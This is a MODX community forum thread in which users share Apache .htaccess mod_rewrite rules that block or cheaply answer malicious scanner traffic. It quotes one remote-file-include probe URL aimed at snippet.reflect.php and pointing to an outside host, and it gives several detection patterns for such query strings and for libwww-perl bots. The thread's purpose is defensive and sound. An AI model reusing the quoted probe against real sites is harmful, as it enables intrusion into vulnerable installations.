Skip to content
General Revolution Evolution Add-ons International
Login | Register | MODX.com
MODX Open Source Content Management System, Framework, Platform and More.
Find a Partner | Hosts + SaaS | Jobs | Donate
  • RegisterSign Up with the MODX Community
  • LoginUse Your MODX.com Account
  • MODX Community Forums
  • General
  • Tips & Tricks
  •  
  • Lowering artificial traffic on modx site#

  • 1122
    209

    Alik Reply #1, 2 years, 11 months ago

    Reply
    • Link to this post#1
    From the moment I moved my site to a MODx platform, I began to observe an increase in the number of various scripts targeting it. I run my site on a self-configured and self-maintained server, which allows me to study every such script in detail.

    The overwhelming majority of requests sent by malicious scripts simply result in sending out error documents, however, sometimes the scripts cause parse errors, which prompts me to study the source code and patch its weak spots. For the past two months, I have been highly satisfied with the server’s ability to distinguish between error requests by human users and malicious scripts.

    I have two error documents set up for my MODx site:
      404-object-not-found <- it is a full-fledged xhtml/css/graphics-decorated page sent when human misspells the url in address bar
      404-burp <- it is a document based on „blank” template, its content comprises single word „Burp!” and these five bytes are sent in response to malicious scripts (instead of, for example, 50-70 KB of full-featured xhtml/css that for sure will not be appreciated in any way by non-human caller).

    Now for the most important part: each request should be analyzed and distinguished by the server. Almost every well-designed MODx site takes advantage of the „mod_rewrite” module and this is a great opportunity for such an analysis.

    After activating the rewriting feature, you can include the following in the .htaccess file:
    # handle invalid requests (human part)
    ErrorDocument 403 http://sitedomain/404-object-not-found
    
    ErrorDocument 404 http://sitedomain/404-object-not-found
    
    
    # burp in response to malicious scripts
    RewriteCond %{QUERY_STRING} (base(dir)?|(classes|lib)_dir|error|inhalt|page|path)=|root_dir|request|session|http:// [NC]
    RewriteRule ^(.*)$ 404-burp? [R,L]
    

    The RewriteCond rule is the result of my observations of site access statistics and error and request logs. Malicious scripts attempt to accomplish their goals by sending weird query strings — these strings are intercepted by the server and the entire request is handled by four characters and an exclamation mark.

    We have no influence over who attempts to access our page (or what their intent is), but we can decide what the response will be. Example responses:

    Human's mistake:
      http://setpro.net.pl/misspelled
    "Classical" sniffing the MODx site -- request sent from within Perl script:
      http://setpro.net.pl/assets/snippets/reflect/snippet.reflect.php?reflect_base=http://sites.google.com/site/bsdcr3w/Home/prc.gif??


  • 26931
    2,242
    fancypants menu: http://modxcms.com/forums/index.php/topic,31940.0.html

    sharkbait Reply #2, 2 years, 11 months ago

    Reply
    • Link to this post#2
    thank you for sharing!

    jan


  • 20413
    2,468
    My playground: http://4up2date.info | Twitter: @mrhaw

    mrhaw Reply #3, 2 years, 11 months ago

    Reply
    • Link to this post#3
    This is awesome!
    Is this server specific: " ...|classes_dir|error|inhalt|lib_dir|page|path)=|root_dir|request|session| ..." or works the
    same on modx/apache in general?


  • 1122
    209

    Alik Reply #4, 2 years, 11 months ago

    Reply
    • Link to this post#4
    It works with Apache/modx provided that friendly urls are enabled (i.e. Apache's module mod_rewrite is active) -- see two examples that were added to original post.


  • 4310
    2,246
    Snippets : eForm 1.4.4.7 with SMTP & PMS's security fixes | PHC Results | EasyNewsletter from CSV

    Wiki Articles : Custom DB table to placeholders | Manager Locked Out?

    Websites : Work - U.K. based MODx development  |  Hobby - Free interactive education resources for teaching 4 - 11 year olds

    Hosting : One Smart Host - Professional MODx hosting 

    bunk58 Reply #5, 2 years, 11 months ago

    Reply
    • Link to this post#5
    Inspired


  • 20413
    2,468
    My playground: http://4up2date.info | Twitter: @mrhaw

    mrhaw Reply #6, 2 years, 6 months ago

    Reply
    • Link to this post#6
    I use this
    # burp in response to malicious scripts
    RewriteCond %{QUERY_STRING} (.*)(http|https|ftp):\/\/(.*) [NC]
    RewriteRule ^(.*)$ 404-burp? [R,L]


    based on this: http://www.phpfreaks.com/tutorial/preventing-remote-file-include-attacks-with-mod-rewrite

    When I used yours it worked too good - Trying to access file manager just returned "Burp!"


  • 3749
    10,935
    PLEASE, PLEASE specify the version of MODX you are using . . . PLEASE!

    MODx info for everyone: http://bobsguides.com/MODx.html

    BobRay Reply #7, 2 years, 6 months ago

    Reply
    • Link to this post#7
    Great suggestion.

    I can't remember where I got it, but I was able to block a lot of traffic with this:

    #first, block bad bots
    RewriteCond %{HTTP_USER_AGENT} libwww-perl.*
    RewriteRule .* - [F,L]
    
    RewriteCond %{QUERY_STRING} snippet\.reflect\.php [NC,OR]
    RewriteCond %{QUERY_STRING} reflect_base [NC,OR]
    RewriteCond %{HTTP_USER_AGENT} ^libwww-perl [NC]
    RewriteRule .* - [F,L]





Actions

Login to Post

Other Support Options

To file a bug or make a feature request visit our issue tracker, or you can also purchase commercial support.

Love MODX?

If you build sites for a living with MODX or just love using it, why not give back?

Information

Posted in this thread:
Alik, BobRay, bunk58, mrhaw, sharkbait

 
Back to Top

MODX Global HQ

1333 N Stemmons Fwy, Ste 110
Dallas, TX 75207
United States

+1 (469) 777-MODX (6639)

The MODX Company

  • Contact
  • Media Center
  • Work at MODX
  • Wall of Fame
  • The MODX Blog

Sponsors

SoftLayer Firehost: Secure Cloud Hosting

Stay Connected

Read our previous email newsletters.

Twitter Facebook Google+ LinkedIn github Feeds

Privacy Policy | Terms of Service | Pixels by AKTA Web Studio© 2005-2012 MODX. All rights reserved. Trademark Policy